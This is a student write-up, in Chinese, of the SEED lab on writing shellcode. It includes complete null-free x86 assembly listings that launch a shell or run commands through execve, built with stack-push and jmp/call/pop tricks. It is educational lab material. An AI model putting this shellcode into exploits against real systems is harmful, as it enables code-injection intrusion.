一、实验主题
shellcode广泛用于许多涉及代码注入的攻击中。编写shellcode是相当有挑战性的。虽然我们可以很容易地从互联网上找到现有的shellcode,但是能够从头开始编写我们自己的shellcode总是令人兴奋的。shellcode中涉及到几种有趣的技术。本实验的目的是帮助学生理解这些技术,以便他们能够编写自己的shellcode。
编写shellcode有几个挑战,一个是确保二进制文件中没有0x00,另一个是找出命令中使用的数据的地址。第一个挑战不是很难解决,有几种方法可以解决它。第二个挑战的解决方案引出了编写shellcode的两种典型方法。在一种方法中,数据在执行期间被推入堆栈,因此可以从堆栈指针获得它们的地址。在第二种方法中,数据存储在代码区域中,就在调用指令之后,因此在调用调用函数时,其地址被推入堆栈(作为返回地址)。两种解决方案都非常巧妙,我们希望学生能够学习这两种技术。
二、实验环境
This lab has been tested on the SEED Ubuntu 20.04 VM. You can download a pre-built image from the SEED website, and run the SEED VM on your own computer. However, most of the SEED labs can be conducted on the cloud, and you can follow our instruction to create a SEED VM on the cloud.
三、实验内容
Task 1: Writing Shellcode
在本任务中,我们将首先从一个shellcode示例开始,演示如何编写shellcode。之后,我们要求学生修改代码来完成各种任务。
Shellcode通常使用汇编语言编写,这取决于计算机体系结构。我们将使用Intel架构,它有两种类型的处理器:x86(32位CPU)和x64(64位CPU)。在本任务中,我们将重点关注32位shellcode。在最后的任务中,我们将切换到64位的shellcode。虽然现在大多数计算机是64位计算机,但它们可以运行32位程序。
Task 1.a: The Entire Process
在这个实验中给出了一个基于X86架构的shellcode,我们将从中学习如何编写一个shellcode。该代码的作用是启动一个shell,代码如下图所示:
① 使用nasm编译该代码
-f elf32选项表示我们希望将文件编译为32 bit的ELF二进制文件。The Executable and Linkable Format(ELF)是可执行文件,目标代码,共享库的标准格式。
② 链接生成最终可执行二进制文件
③ 运行mysh文件,并在运行前后用ehco $$查看Shell的进程ID
根据输出可知mysh确实启动了一个新的shell。
④ 获取机器码
在攻击过程中,我们只需要shellcode的机器代码,而不是一个独立的可执行文件,它包含的数据不是实际的机器代码。从技术上讲,只有机器代码被称为shellcode。因此,我们需要从可执行文件或目标文件中提取机器代码。有很多方法可以做到这一点。一种方法是使用objdump命令来反汇编可执行文件或目标文件。
汇编代码有两种不同的常用语法模式,一种是AT&T语法模式,另一种是Intel语法模式。默认情况下,objdump使用AT&T模式。接下来,我们使用-Mintel选项以英特尔模式生成汇编代码。
在上面的打印输出中,红色标记的部分是机器代码。还可以使用xxd命令打印出二进制文件的内容:
……………(此处省略部分内容)……………………
从中我们可以看到机器码的部分
⑤ 在攻击代码中使用shellcode
在实际的攻击中,我们需要在攻击代码中包含shellcode,比如Python或C程序。我们通常将机器码存储在一个数组中,但是如果手动完成,将上面打印的机器码转换为Python和C程序中的数组赋值是相当繁琐的,特别是当我们需要在实验中多次执行此过程时。为此,实验设计者编写了下面的Python代码来帮助完成这个过程。只需复制xxd命令得到的内容(只有shellcode部分),并将其粘贴到以下代码中以"""标记的行之间。
运行convert.py,它会将shellcode保存到数组中打印出来
Task 1.b. Eliminating Zeros from the Code
① 对类似于strcpy()之类的字符串函数,默认将‘0’作为字符串的末尾,因此当它们运行到‘0’时就会停止运行。而‘0’以后的内容将不会被复制,这将导致shellcode攻击无法成功。
虽然不是所有的漏洞都有零的问题,但机器代码中不能有零是shellcode的一个要求。否则,shellcode的应用将受到限制。
② 有很多技术可以从shellcode中删除0。代码mysh.s需要在4个不同的地方使用0。请找出所有这些地方,并解释代码如何使用零,但没有在代码中引入零。
下面给出一些提示:
e.g.1: 如果想将0赋值给eax,可以使用“mov eax, 0”,但这样做会在机器码中得到一个0。解决这个问题的典型方法是使用“xor eax, eax”。请解释一下为什么会这样做?
xor的作用是执行异或操作,将eax寄存器与自身进行异或,使得eax寄存器的值变为0,此时将eax入栈,等价于将0入栈。
e.g.2:如果要将0x00000099存储到eax。我们不能只使用mov eax, 0x99,因为第二个操作数实际上是0x00000099,其中包含3个0。为了解决这个问题,我们可以首先将eax设置为0,然后将一个1字节的数字0x99分配给al寄存器,它是eax寄存器的最低8位。
在mysh.s中想要存储的值为0x0000000b,使用了上述方法,将eax设置为0,然后将一个字节的0x0b分配给al寄存器,即eax寄存器的最低8位。
e.g.3:另一种方法是使用shift。在下面的代码中,首先将0x237A7978赋给了ebx。在ASCII中,x、y、z和#的值分别是0x78、0x79、0x7a和0x23。因为大多数Intel cpu使用小端字节序,最低有效字节存储在较低的地址(即字符x),所以xyz#表示的数字实际上是0x237A7978。当使用objdump反汇编代码时,您可以看到这一点。
在将数字赋值给ebx之后,我们将这个寄存器向左移动8位,因此最高有效字节0x23将被移出并丢弃。然后,我们将寄存器向右移动8位,因此最高有效字节将被0x00填充。在此之后,ebx将包含0x007A7978,它等同于"xyz\0",即该字符串的最后一个字节变为0。
图中四处标记的地方使用了0,其中前三处和e.g.1同理,第四处在e.g.2中有说明。
在mysh.s中。我们把"//sh"压入栈:
实际上,我们只是想把“/sh”压入栈中,但是push指令必须压入一个32位的数字。因此,我们在开头添加了一个冗余的”/”;对于操作系统,“//”相当于一个”/”。
③ 任务要求:
对于Task1.b,我们将使用shellcode来执行/bin/bash,它的命令字符串中有9个字节(如果算上末尾的0,则为10个字节)。通常,要将此字符串推入堆栈,我们需要使长度为4字节的倍数,因此我们将字符串转换为/binbash(这样确保了长度为12个字节)。
但是,在这个任务,要求不允许在字符串中添加任何冗余/,即命令的长度必须为9字节(/bin/bash)。除了证明可以得到bash shell之外,还需要证明代码中没有0。
④ 解决方法:
我们参考e.g.3中的方法:
mov ebx,“h####” 将h后面添加三个占位符凑成四个字节,复制给ebx,此时ebx的存储情况为:
shl ebx,24 将ebx内存储的内容左移24位,此时低地址的24位被挤出,字符h占最低位:
shr rbx, 24 将ebx内存储的内容右移24位,此时高地址的24位被挤出,字符h重新占据最高有效地址:
此时在内存中ebx的内容读取后就是h,后面的0被当作终止符。将ebx压入栈中: push ebx。后续正常push剩余的8个字符即可。
编译运行,查看机器码:
可以看到机器码中没有00,但我们成功将0x00压入了栈中,运行查看:
两次shell的进程号不同,shellcode执行成功,Task1.b完成。
Task 1.c. Providing Arguments for System Calls
① 在mysh.s中,构造了命令行参数数组来存储参数,但运行的命令只是/bin/sh,没有参数。
在本实验中,要求运行命令: /bin/sh -c "ls -la"。在这个新命令中,argv数组应该有以下四个元素,所有这些元素都需要在堆栈上构造。
② 解决方案:
argv[0] = “/bin/sh”,延用之前实验的方法,添加冗余/
argv[1] = “-c”,使用Task1.b中的方法,添加占位符
写完才发现使用“##-c”更加简单,只需要移动一次。
argv[2] = “ls -la”,同理
最后依次将各个argv参数push入栈即可,完整代码如下
section .text
global _start
_start:
; Store the argument string on stack
xor eax, eax
push eax ; Use 0 to terminate the string
push "//sh"
push "/bin"
mov ebx, esp ; Get the address of argv[0]
push eax ; Use 0 to terminate the string
mov eax, "-c##"
shl eax, 16
shr eax, 16
push eax ; eax = -c
mov edx, esp ; Get the address of argv[1]
mov eax, "##la"
shr eax, 16
push eax
push "ls -"
mov ecx, esp ; Get the address of argv[2]
; Construct the argument array argv[]
xor eax, eax
push eax ; argv[3] = 0
push ecx ; argv[2] points "ls -la"
push edx ; argv[1] points "-c"
push ebx ; argv[0] points "/bin//sh"
mov ecx, esp ; Get the address of argv[]
; For environment variable
xor edx, edx ; No env variables
; Invoke execve()
xor eax, eax ; eax = 0x00000000
mov al, 0x0b ; eax = 0x0000000b
int 0x80
③ 运行效果
编译运行,查看运行效果:
与命令行直接运行效果对比:
效果一致,查看机器码,没有0x00,Task1.c成功
Task 1.d. Providing Environment Variables for execve()
① 任务目标:
execve()系统调用的第三个参数是一个指向环境变量数组的指针,它允许我们将环境变量传递给程序。在我们的示例程序中(第❹行),我们向execve()传递了一个null指针,因此没有向程序传递环境变量。
在这个任务中,我们将编写一个名为myenv.s的shellcode。当执行这个程序时,它会执行“/usr/bin/env”命令,该命令可以打印出以下环境变量:
注意此处环境变量cccc的值必须为四个字节,不允许在其后添加多余的空间。
② 解决方案:
首先修改命令字符串部分:
设置环境变量的方法和Task1.c中设置argv参数的方法类似,构造好每个变量后依次将地址push入栈即可:
此处env[2]产生0的原理与Task1.c中同理:
注意:将环境变量入栈的操作放在传入命令行参数之前。
完整代码:
section .text
global _start
_start:
; For environment variable
xor eax, eax
push eax ; end of the string
push "1234"
push "aaa="
mov ebx, esp ; Get the address of env[0]
xor eax, eax
push eax ; end of the string
push "5678"
push "bbb="
mov ecx, esp ; Get the address of env[1]
mov eax, "###4"
shr eax, 24 ; Generate 0
push eax
push "=123"
push "cccc"
mov edx, esp ; Get the address of env[2]
xor eax, eax
push eax ; env[3] = 0
push edx ; env[2] = address to the "cccc=1234" string
push ecx ; env[1] = address to the "bbb=5678" string
push ebx ; env[0] = address to the "aaa=1234" string
mov edx, esp
; Store the argument string on stack
xor eax, eax
push eax ; Use 0 to terminate the string
push "/env"
push "/bin"
push "/usr"
mov ebx, esp ; Get the string address
; Construct the argument array argv[]
push eax ; argv[1] = 0
push ebx ; argv[0] points "/usr/bin/env"
mov ecx, esp ; Get the address of argv[]
; Invoke execve()
xor eax, eax ; eax = 0x00000000
mov al, 0x0b ; eax = 0x0000000b
int 0x80
③ 运行效果:
检查有没有0x00:
机器码中不存在断点0,Task1.d完成。
Task 2: Using Code Segment
① 样例程序:
在Task1中,解决获取数据地址问题的方式是每次构造完数据结构后,动态获取当前的栈顶地址,这样就能获取目标数据的地址。
另外一种解决上述问题的方式,数据存储在代码段中,通过调用mechanism函数来获取其地址,下面是示例代码:
该代码首先跳转到two的位置,然后执行命令call one进行下一次跳转,但call命令跳转前会先记录当前命令的下一条命令的地址作为返回地址,此处即返回到②行的位置。此处②行不是命令,而是一个字符串,call命令会将这个字符串的地址作为返回地址压入栈中,作为栈顶的内容。此时跳转到one中,执行①行pop ebx,会将栈顶内容弹出并存储在ebx中,此时ebx就获得了字符串的地址。
如果我们想获得一个可执行文件,我们需要在运行链接程序(ld)时使用——omagic选项,这样代码段是可写的。
② 任务目标:
(1)给样例程序从第①行开始给出每行的详细解释,说明为何其能够实现运行“/bin/sh”,如何构造出argv[ ]数组的。
其中8-12行关于字符串内容和其地址的操作如下:
(2)使用样例程序中的方法,编写一个新的shellcode,使其能够运行命令/usr/bin/env,并且能够打印出如下环境变量:
命令行直接运行命令字符串:
构造上述命令字符串即可。为 /usr/bin/env - a=11 b=22 四个字符串分别保留四个字符存储地址,并最后留出四位字符存0。
将占位符*替换为0
分别构造出四个字符串的地址,并替换占位的字符:
最后传入参数。
完整代码如下:
section .text
global _start
_start:
BITS 32
jmp short two
one:
pop ebx
xor eax, eax
mov [ebx+12], al ; /usr/bin/env%0
mov [ebx+14], al ; -%0
mov [ebx+19], al ; a=11%0
mov [ebx+24], al ; b=22%0
lea edx, [ebx+0] ; get the address of /usr/bin/env
mov [ebx+25], edx ; move the address to AAAA
lea edx, [ebx+13] ; get the address of -
mov [ebx+29], edx ; move the address to BBBB
lea edx, [ebx+15] ; get the address of a=11
mov [ebx+33], edx ; move the address to CCCC
lea edx, [ebx+20] ; get the address of b=22
mov [ebx+37], edx ; move the address to DDDD
mov [ebx+41], eax ; move 0000 to EEEE
lea ecx, [ebx+25] ; pass /usr/bin/env - a=11 b=22
xor edx, edx
mov al, 0x0b
int 0x80
two:
call one
db '/usr/bin/env*-*a=11*b=22*AAAABBBBCCCCDDDDEEEE'
③ 运行效果:
成功执行命令,查看机器码:
没有中断0,Task2完成。
Task 3: Writing 64-bit Shellcode
① 任务目标:在x64 shellcode中实现Task1.b的任务:
在x64架构中,系统调用是通过syscall指令实现的,系统调用的前三个参数存储在rdx、rsi、rdi寄存器中。
② 解决方案:
参考Task1.b中移动字符串的方法即可实现不规则长度的字符串传参:
③ 运行效果:
查看机器码,没有截断0,Task3完成。